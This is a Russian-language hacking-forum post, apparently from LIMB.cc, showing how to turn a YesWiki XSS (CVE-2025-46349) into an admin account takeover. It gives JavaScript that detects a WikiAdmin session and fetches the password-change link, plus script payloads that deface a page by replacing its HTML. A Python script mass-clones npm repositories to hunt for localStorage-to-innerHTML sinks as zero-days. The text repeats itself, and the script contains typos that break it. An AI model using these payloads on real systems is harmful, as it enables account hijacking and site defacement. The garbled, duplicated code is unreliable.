Эксклюзивно для форума LIMB.cc
Уязвимость XSS, межсайтовый скриптинг, не нуждается в представлении. Чаще всего в качестве пейлода для демонстрации используется alert(1).
Если JavaScript имеет доступ к куки (флаг HttpOnly не установлен), пейлод может продемонстрировать возможность их кражи с помощью обращения к document.cookie.
Но что если нам не нужно стилить куки для эксплуатации уязвимости? XSS позволяет выполнять JavaScript в контексте браузера, в котором выполняется код, и работать с куки этого браузера.
Преобразование PoC alert(1) в полноценный эксплойт.
1.Определение того, что это сессия администратора.
2.Действие - повышение привилегий / изменение пароля.
3.Сообщение о результатах.
CVE-2025-46349
PoC - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2
Всё, что может сделать скрипт при XSS, технически можно выполнить вручную из консоли:
Разница между страницами при неавторизованной и авторизованной сессиях:
Большинство сессий администратора будет иметь юзернейм - WikiAdmin, Connected as WikiAdmin;
Дальше нет никакого универсального механизма, но обычно из админ-панели можно повысить привилегии / сменить пароль / создать аккаунт.
Посмотрим, что у нас тут:
На странице ParametresUtilisateur функционал Change the password требует старый пароль. И в то же время
Что это? :)
Ссылка валидна из пустого контекста!
Скрипт:
Вот такой вот нехитрый аккаунт-тейковер с XSS :)
Особенность в том, что если браузерный скрипт выполняется на том же происхождении (same‑origin: протокол + хост + порт) и у запроса есть нужные учётные данные, то fetch / XMLHttpRequest без проблем получит условный /profile.php.
Ещё одна интересная атака, которую можно провернуть через хранимую XSS - это дефейс сайта.
Она хорошо подойдёт для уязвимостей типа - https://www.exploit-db.com/exploits/52043
Делается с помощью одного метода, а именно:
- получаем пустую страницу
Получаем
В завершение оставлю интересный скрипт. XSS может возникать в разных точках приложения.
Поскольку HTTP - это протокол без состояния, каждый запрос не хранит информацию о предыдущих. В браузере есть механизм локального хранилища.
Туда часто кладут JWT-токен. Добавив пейлод, получится XSS? Ну, как мне кажется, ничего не получится - просто получится невалидный токен.
Никакого выполнения JS не произойдёт.
Но если данные берутся из localStorage и вставляются в HTML, получается XSS. В localStorage теоретически можно сохранить любую информацию.
Значит, в коде должен быть вызван метод localStorage.getItem + dangerouslySetInnerHTML / innerHTML.
Берём GitHub-пакеты npm - https://github.com/nice-registry/all-the-package-repos/blob/master/data/packages.json (получаем около 2 миллионов репозиториев)
Скрипт:
Прогнав 100 репозиториев, ни одной 0-day не поймалось, но там осталось ещё около двух миллионов репозиториев :)
Уязвимость XSS, межсайтовый скриптинг, не нуждается в представлении. Чаще всего в качестве пейлода для демонстрации используется alert(1).
Если JavaScript имеет доступ к куки (флаг HttpOnly не установлен), пейлод может продемонстрировать возможность их кражи с помощью обращения к document.cookie.
Но что если нам не нужно стилить куки для эксплуатации уязвимости? XSS позволяет выполнять JavaScript в контексте браузера, в котором выполняется код, и работать с куки этого браузера.
Преобразование PoC alert(1) в полноценный эксплойт.
1.Определение того, что это сессия администратора.
2.Действие - повышение привилегий / изменение пароля.
3.Сообщение о результатах.
CVE-2025-46349
Не удалось прогрузить медиа
PoC - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2
Всё, что может сделать скрипт при XSS, технически можно выполнить вручную из консоли:
Не удалось прогрузить медиа
Разница между страницами при неавторизованной и авторизованной сессиях:
Спойлер: .
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Большинство сессий администратора будет иметь юзернейм - WikiAdmin, Connected as WikiAdmin;
JavaScript:
if (document.querySelector('#LoginModalLabel')?.textContent.includes('Connected as WikiAdmin')) {
console.log("Найден WikiAdmin! Выполняем действие...");
}
Не удалось прогрузить медиа
Дальше нет никакого универсального механизма, но обычно из админ-панели можно повысить привилегии / сменить пароль / создать аккаунт.
Посмотрим, что у нас тут:
На странице ParametresUtilisateur функционал Change the password требует старый пароль. И в то же время
Не удалось прогрузить медиа
Что это? :)
Ссылка валидна из пустого контекста!
Не удалось прогрузить медиа
Скрипт:
JavaScript:
if (document.querySelector('#LoginModalLabel')?.textContent.includes('Connected as WikiAdmin')) {
console.log("Найден WikiAdmin! Выполняем запрос...");
const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://localhost/yeswiki/?ParametresUtilisateur', true);
xhr.onload = function() {
if (xhr.status === 200) {
const parser = new DOMParser();
const doc = parser.parseFromString(xhr.responseText, 'text/html');
const link = doc.querySelector('.controls.col-sm-9 a');
if (link) {
const href = link.getAttribute('href');
console.log('Найденная ссылка:', href);
} else {
console.warn('Ссылка не найдена в ответе.');
}
} else {
console.error('Ошибка при выполнении запроса:', xhr.status);
}
};
xhr.onerror = function() {
console.error('Ошибка сети при выполнении запроса.');
};
xhr.send();
}
Не удалось прогрузить медиа
Особенность в том, что если браузерный скрипт выполняется на том же происхождении (same‑origin: протокол + хост + порт) и у запроса есть нужные учётные данные, то fetch / XMLHttpRequest без проблем получит условный /profile.php.
Ещё одна интересная атака, которую можно провернуть через хранимую XSS - это дефейс сайта.
Она хорошо подойдёт для уязвимостей типа - https://www.exploit-db.com/exploits/52043
Делается с помощью одного метода, а именно:
JavaScript:
<script>document.documentElement.innerHTML=""</script>
JavaScript:
<script>document.documentElement.innerHTML='<div style="height:100vh;display:flex;justify-content:center;align-items:center;font-size:5rem;background:linear-gradient(135deg,#ff00ff,#00ffff,#ffff00,#ff0000);animation:rainbow 5s infinite linear;">😜👅✨</div><style>@keyframes rainbow{0%{background-position:0% 50%}50%{background-position:100% 50%}100%{background-position:0% 50%}}</style>'</script>
Получаем
Не удалось прогрузить медиа
В завершение оставлю интересный скрипт. XSS может возникать в разных точках приложения.
Поскольку HTTP - это протокол без состояния, каждый запрос не хранит информацию о предыдущих. В браузере есть механизм локального хранилища.
Туда часто кладут JWT-токен. Добавив пейлод, получится XSS? Ну, как мне кажется, ничего не получится - просто получится невалидный токен.
JavaScript:
const tok = localStorage.getItem('jwt');
fetch('/api', { headers: { Authorization: 'Bearer ' + tok }});
Никакого выполнения JS не произойдёт.
Но если данные берутся из localStorage и вставляются в HTML, получается XSS. В localStorage теоретически можно сохранить любую информацию.
Значит, в коде должен быть вызван метод localStorage.getItem + dangerouslySetInnerHTML / innerHTML.
Берём GitHub-пакеты npm - https://github.com/nice-registry/all-the-package-repos/blob/master/data/packages.json (получаем около 2 миллионов репозиториев)
Скрипт:
Python:
import subprocess
import time
import random
from pathlib import Path
import shutil
# Файл с ссылками
file_path = "gits.txt"
# Проверка, что файл существует
if not Path(file_path).is_file():
print(f"Файл {file_path} не найден!")
exit(1)
# Чтение ссылок
with pen(file_path, "r") as f:
repos = [line.strip() for line in f if line.strip()]
for repo in repos:
print(f"\n$ echo 'Начинаем работу с репозиторием: {repo}'")
# Определяем имя папки для клона
repo_name = repo.rstrip("/").split("/")[-1]
print(f"$ echo 'Папка для клона: {repo_name}'")
# Формируем команду git clone с depth 1
cmd = ["git", "clone", "--depth", "1", repo]
print(f"$ {' '.join(cmd)}")
# Запуск команды с таймаутом
try:
result = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=60)
print(result.stdout)
if result.returncode != 0:
if "not found" in result.stdout.lower():
print(f"$ echo 'Репозиторий {repo} не найден (404).'")
else:
print(f"$ echo 'Ошибка при скачивании {repo}!'")
continue # Переходим к следующему репозиторию
else:
print(f"$ echo 'Репозиторий {repo} успешно скачан!'")
except subprocess.TimeoutExpired:
print(f"$ echo 'Таймаут при скачивании {repo}, пропускаем репозиторий.'")
cotinue
repo_path = Path(repo_name)
local_storage_found = False
inner_html_found = False
for file in repo_path.rglob("*"):
if file.is_file():
try:
text = file.read_text(errors="ignore")
if "localStorage.getItem" in text:
local_storae_found = True
if "dangerouslySetInnerHTML" in text or "innerHTML" in text:
inner_html_found = True
except Exception:
pass # Игнорируем ошибки чтения файлов
if local_storage_found and inner_html_found:
print(f"$ echo 'НАЙДЕНО: {repo}'")
else:
print(f"$ echo 'НЕ НАЙДЕНО: {repo}'")
try:
shutil.rmtree(repo_path)
print(f"$ echo 'Папка {repo_name} удалена, так как ничего не найдено.'")
except Exception as e:
print(f"$ echo 'Ошибка при удалении папки {repo_name}: {e}'")
wait_time = random.randint(20, 90)
print(f"$ echo 'Жду {wait_time} секунд перед следующим репозиторием...'")
time.sleep(wait_time)
Прогнав 100 репозиториев, ни одной 0-day не поймалось, но там осталось ещё около двух миллионов репозиториев :)
👍39
🔥9
🤔6
😢11
LIMB